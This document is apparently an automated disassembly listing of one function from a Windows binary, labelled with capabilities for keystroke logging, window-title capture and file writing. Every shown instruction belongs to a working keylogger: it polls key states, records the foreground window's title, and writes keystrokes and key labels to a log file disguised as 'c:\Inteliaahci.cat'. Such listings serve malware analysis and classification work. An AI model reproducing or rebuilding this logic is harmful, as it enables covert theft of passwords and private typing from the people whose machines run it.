Function at 0x401b20
Capabilities:
Get graphical window text
Log keystrokes via polling
Write file on windows

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0x418]
push edi
mov edi, 0x1f4
push esi
xor esi, esi
push ebx
sub esp, 0x42c
mov ebx, 0x1f4
mov dword [esp + 8], edi
lea edi, [ebp - 0x218]
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], ebx
xor ecx, ecx
mov dword [esp + 4], ecx
mov dword [esp], edi
call sub.msvcrt.dll_memset
lea esi, [esi]
lea edi, [edi]
mov dword [esp], 0xa
mov ebx, 8
call sub.msvcrt.dll__sleep
jmp 0x401b90
lea esi, [ebx + 1]
movsx ebx, si
cmp bx, 0xde
jg 0x401b70
mov dword [esp], ebx
call sub.USER32.dll_GetAsyncKeyState
sub esp, 4
cmp ax, 0x8001
jne 0x401b83
call sub.USER32.dll_GetForegroundWindow
mov dword [esp], eax
mov ecx, 0x1f4
mov dword [esp + 8], ecx
mov dword [esp + 4], edi
call sub.USER32.dll_GetWindowTextA
sub esp, 0xc
lea edx, [ebp - 0x418]
mov dword [esp + 4], edx
mov dword [esp], edi
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x401bf3
mov dword [esp + 4], edi
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
cmp byte [ebp - 0x218], 0
jne 0x401cc0
mov dword [esp], str.c:Inteliaahci.cat
mov ecx, 0x405480
mov dword [esp + 4], ecx
call sub.msvcrt.dll_fopen
test eax, eax
mov esi, eax
je 0x401d17
mov dword [esp], 0xa2
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
js case.0x401c8a.10
mov dword [esp], 0xa3
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
js case.0x401c8a.10
mov dword [esp], 0xa4
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
js case.0x401c8a.10
mov dword [esp], 0xa5
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
js case.0x401c8a.10
lea eax, [ebx - 0x30]
cmp ax, 0x10
jbe 0x401d78
lea edx, [ebx - 0x41]
cmp dx, 0x19
jbe 0x401d24
lea eax, [ebx - 8]
cmp eax, 0xd6
ja case.0x401c8a.10
jmp dword [eax*4 + 0x4054e8]
mov dword [esp + 0xc], esi
mov edx, 4
mov ebx, 1
mov dword [esp + 8], edx
mov dword [esp + 4], ebx
mov dword [esp], 0x405483
call sub.msvcrt.dll_fwrite
mov dword [esp], esi
call sub.msvcrt.dll_fclose
jmp 0x401b70
mov dword [esp], str.c:Inteliaahci.cat
mov esi, 0x405480
mov dword [esp + 4], esi
call sub.msvcrt.dll_fopen
test eax, eax
mov esi, eax
je 0x401d17
mov dword [esp + 8], edi
mov edx, str._n__s__n
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_fprintf
mov dword [esp], esi
call sub.msvcrt.dll_fclose
mov dword [esp], str.c:Inteliaahci.cat
mov ecx, 0x405480
mov dword [esp + 4], ecx
call sub.msvcrt.dll_fopen
test eax, eax
mov esi, eax
jne 0x401c12
lea esp, [ebp - 0xc]
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 0xa0
xor ecx, ecx
mov dword [ebp - 0x41c], ecx
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
js 0x401d91
mov dword [esp], 0xa1
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
js 0x401d91
mov dword [esp], 0x14
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
jne 0x401db0
mov edx, dword [ebp - 0x41c]
test edx, edx
jne 0x401d78
lea eax, [ebx + 0x20]
movsx ebx, ax
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_fputc
mov dword [esp], esi
call sub.msvcrt.dll_fclose
jmp 0x401b70
mov dword [esp], 0x14
mov eax, 1
mov dword [ebp - 0x41c], eax
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
je 0x401d68
mov ecx, dword [ebp - 0x41c]
test ecx, ecx
jne 0x401d72
mov dword [esp + 4], esi
mov dword [esp], ebx
jmp 0x401d7f
mov dword [esp + 0xc], esi
mov ecx, 1
mov eax, 4
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], 0x40548f
call sub.msvcrt.dll_fwrite
jmp case.0x401c8a.10
mov dword [esp + 0xc], esi
mov edx, 4
mov ebx, 1
mov dword [esp + 8], edx
mov dword [esp + 4], ebx
mov dword [esp], 0x405494
call sub.msvcrt.dll_fwrite
jmp case.0x401c8a.10
mov dword [esp + 0xc], esi
mov ecx, 1
mov eax, 4
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], 0x405499
call sub.msvcrt.dll_fwrite
jmp case.0x401c8a.10
mov dword [esp + 0xc], esi
mov edx, 4
mov ebx, 1
mov dword [esp + 8], edx
mov dword [esp + 4], ebx
mov dword [esp], str.___
call sub.msvcrt.dll_fwrite
jmp case.0x401c8a.10
mov dword [esp + 0xc], esi
mov ecx, 1
mov eax, 4
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], 0x4054a3
call sub.msvcrt.dll_fwrite
jmp case.0x401c8a.10
mov dword [esp + 0xc], esi
mov ecx, 1
mov eax, 4
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], str._.__
call sub.msvcrt.dll_fwrite
jmp case.0x401c8a.10
mov dword [esp + 0xc], esi
mov edx, 4
mov ebx, 1
mov dword [esp + 8], edx
mov dword [esp + 4], ebx
mov dword [esp], 0x4054ad
call sub.msvcrt.dll_fwrite
jmp case.0x401c8a.10
mov dword [esp + 0xc], esi
mov ecx, 1
mov eax, 4
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], str.____
call sub.msvcrt.dll_fwrite
jmp case.0x401c8a.10
mov dword [esp + 0xc], esi
mov edx, 4
mov ebx, 1
mov dword [esp + 8], edx
mov dword [esp + 4], ebx
mov dword [esp], str.__
call sub.msvcrt.dll_fwrite
jmp case.0x401c8a.10
mov dword [esp + 0xc], esi
mov edx, 4
mov ebx, 1
mov dword [esp + 8], edx
mov dword [esp + 4], ebx
mov dword [esp], str.__:_
call sub.msvcrt.dll_fwrite
jmp case.0x401c8a.10
mov dword [esp + 4], esi
mov dword [esp], 0x2f
call sub.msvcrt.dll_fputc
jmp 0x401d84
mov dword [esp + 4], esi
mov dword [esp], 0x2e
call sub.msvcrt.dll_fputc
jmp 0x401d84
mov dword [esp + 4], esi
mov dword [esp], 0x2d
call sub.msvcrt.dll_fputc
jmp 0x401d84
mov dword [esp + 4], esi
mov dword [esp], 0x2b
call sub.msvcrt.dll_fputc
jmp 0x401d84
mov dword [esp + 4], esi
mov dword [esp], 0x2a
call sub.msvcrt.dll_fputc
jmp 0x401d84
mov dword [esp + 4], esi
mov dword [esp], 0x39
call sub.msvcrt.dll_fputc
jmp 0x401d84
mov dword [esp + 4], esi
mov dword [esp], 0x38
call sub.msvcrt.dll_fputc
jmp 0x401d84
mov dword [esp + 4], esi
mov dword [esp], 0x37
call sub.msvcrt.dll_fputc
jmp 0x401d84
mov dword [esp + 4], esi
mov dword [esp], 0x36
call sub.msvcrt.dll_fputc
jmp 0x401d84
mov dword [esp + 4], esi
mov dword [esp], 0x35
call sub.msvcrt.dll_fputc
jmp 0x401d84
mov dword [esp + 4], esi
mov dword [esp], 0x34
call sub.msvcrt.dll_fputc
jmp 0x401d84
mov dword [esp + 4], esi
mov dword [esp], 0x33
call sub.msvcrt.dll_fputc
jmp 0x401d84
mov dword [esp + 4], esi
mov dword [esp], 0x32
call sub.msvcrt.dll_fputc
jmp 0x401d84
mov dword [esp + 4], esi
mov dword [esp], 0x31
call sub.msvcrt.dll_fputc
jmp 0x401d84
mov dword [esp + 4], esi
mov dword [esp], 0x30
call sub.msvcrt.dll_fputc
jmp 0x401d84
mov dword [esp + 0xc], esi
mov ecx, 1
mov eax, 8
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], str._DELETE_
call sub.msvcrt.dll_fwrite
jmp case.0x401c8a.10
mov dword [esp + 4], esi
mov dword [esp], 0x20
call sub.msvcrt.dll_fputc
jmp 0x401d84
mov dword [esp + 0xc], esi
mov edx, 8
mov ebx, 1
mov dword [esp + 8], edx
mov dword [esp + 4], ebx
mov dword [esp], str._ENTER__n
call sub.msvcrt.dll_fwrite
jmp case.0x401c8a.10
mov dword [esp + 0xc], esi
mov ecx, 1
mov eax, 5
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], str._TAB_
call sub.msvcrt.dll_fwrite
jmp case.0x401c8a.10
mov dword [esp + 0xc], esi
mov edx, 0xb
mov ebx, 1
mov dword [esp + 8], edx
mov dword [esp + 4], ebx
mov dword [esp], str._BACKSPACE_
call sub.msvcrt.dll_fwrite
jmp case.0x401c8a.10